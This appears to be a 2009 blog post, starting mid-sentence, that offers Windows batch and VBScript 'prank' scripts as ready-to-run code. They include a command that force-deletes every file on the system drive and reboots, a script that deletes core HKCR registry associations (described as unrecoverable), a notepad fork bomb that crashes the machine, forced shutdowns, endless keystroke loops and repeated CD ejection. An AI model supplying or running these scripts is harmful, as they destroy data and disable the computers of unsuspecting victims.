Friday, February 13, 2009

Some Visual basic Tricks

you to be carefull and try to reveal the trick before getting in serious trouble. It loops a message asking to re-install ur windows again

CODE
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00




-Stupidity Shutdown
*This pops up a funny message then will shutdown the computer

CODE
@echo off
msg * Fatal system error due to admin stupidity!
shutdown -c "Error! You are too stupid!" -s -t 10


-Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]
*This will delete key registry files, then loops a message* (CANNOT BE RECOVERED FROM)

CODE
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE


-Endless Notepads
*This will pop up endless notepads until the computer freezes and crashes*


CODE
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top


-Crazy caps lock
*This constantly turns caps lock on and off really fast continuously*

CODE
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop


-Endless Enter
*This constantly makes it so the enter button is being pressed continuesly*

CODE
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop


-Endless Backspace
*This makes it so the backspace key is constantly being pressed*

CODE
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop


-Popping CD Drives
*This will make the CD drives constantly pop out*

CODE
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop